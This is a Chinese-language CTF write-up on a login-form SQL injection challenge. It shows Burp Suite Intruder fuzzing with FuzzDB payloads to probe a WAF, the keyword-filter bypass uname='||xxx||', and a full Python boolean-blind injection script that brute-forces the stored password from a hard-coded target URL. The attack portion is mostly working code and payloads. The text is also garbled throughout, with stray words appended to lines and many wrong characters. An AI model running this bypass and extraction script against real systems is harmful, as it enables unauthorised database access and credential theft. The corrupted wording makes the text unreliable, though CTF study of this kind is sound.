我也是萌新,讲给更萌新的听~ 大佬能够略过这篇
今儿从同窗那拿到一题sql注入题,想到最近学习了burpsuite fuzz的功能,恰好能够用来练下手,特此记录一下。
是个典型的登陆框SQL注入题html
在源码上还有hintpython
首先进行注入前的尝试,观察是否有报错状况,或者是有waf:mysql
正常的输入,分2种状况:git
password error
no such user!
猜想验证用户名和验证密码是分步进行的,语句以下:github
select uname from user where uname='xxx' select uname,pwd from user where uname='xxx' and pwd='xxx'
存在注入的状况,显示naive
,证实是有waf的:web
简单测试了一下waf,发现过滤了or and union select from limit 以及空格,注释符
,妈耶waf还挺严,以后不想经过手动测试,因而采用burpsuite进行Fuzz测试。sql
Burpsuite Fuzzing主要是经过Burpsuite Intruder模块
,这比如是一把枪,经过特定设置把子弹(payload)
射向目标(target-site)
。数组
但是子弹从哪来?咱们在这以前要作一些准备工做:session
Fuzzdb: https://github.com/fuzzdb-pro...
这是一个fuzz测试的payload库,上面有大量的测试payload,很是实用,咱们本次sql注入就用到它。多线程
咱们使用这个payload就能够了 /attack/sql-injection/detect/xplatform.txt
而后打开Burpsuite,能够先开代理抓一个正常请求包,而后转到Intruder模块,进行以下操做:
admin
,而后点击右侧的add§
,这样uname的值就会被标记为payload的加载位置,其他部分就不须要标记了。xplatform.txt
,这样payload就被加载进去了。Intruder -> Start attack
,启动!等待fuzz完成后,获得以下结果:
根据返回包长度能够分辨不一样的状况:202是password error
,200是no such user!
,还有189是naive
。
所以能够发现有能够利用的地方,第42个请求包的返回用户名正确,证实已经绕过waf。
假如并无能够利用的payload,能够再观察189的包看看哪些字段是被ban掉的,从而找到能够利用的字段。结合前期手测的状况和fuzz的结果,能够判断:可以使用:
# || && , ascii() left() right() length()
不可以使用:
空格 -- or and union select from limit mid() substr() substring()
构造payload以下,xxx为payload,当xxx为真时返回password error
,而xxx为假时返回no such user
,这就构成了一个bool型注入。
uname='||xxx||'&pwd=123
下一步就能够开始实施注入。
这一步开始,咱们就经过bool盲注进行爆破pwd
字段,脚本跑起来
经过length()
得到pwd
字段长度
for i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" return
最终得到length(pwd)=30
当你把握不许的时候,想到hint的提示,经过
length(uname)=5
验证你的payload,下面也同样。
因为mid() substr()
被ban了,只能经过left() right()
进行字符串截断,而后逐位爆破30位的pwd
pwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continue
最后获得30位密码,登陆进去,getflag
PS:没有写多线程,爆破速度比较慢,以后考虑改进一下PPS:以后还要总结下各种函数组合使用方式,好比
mid()=substr()=right(left())
完整脚本以下:
#coding=utf-8 import requests s = requests.session() s.keep_alive = False url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/', 'Content-Type': 'application/x-www-form-urlencoded' } def get_length(): for i in xrange(1,127): postdata = { 'uname':"'||length(pwd)="+str(i)+"||'", 'pwd':'123' } print i,postdata r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: print "get length!" return def get_pwd_char(): pwd = '' for i in xrange(0,30): for c in xrange(0x20,0x7f): postdata = { 'uname':"'||(ascii(right(left(pwd,"+str(i+1)+"),1))="+str(c)+")||'", 'pwd':'123' } r = s.post(url=url,headers=header,data=postdata) if 'password' in r.text: pwd += chr(c) print i,pwd continue if __name__ == '__main__': get_length() #length is 30 get_pwd_char()
听说bugkuCTF有相似的一道题 SQL注入2,过去比较一下区别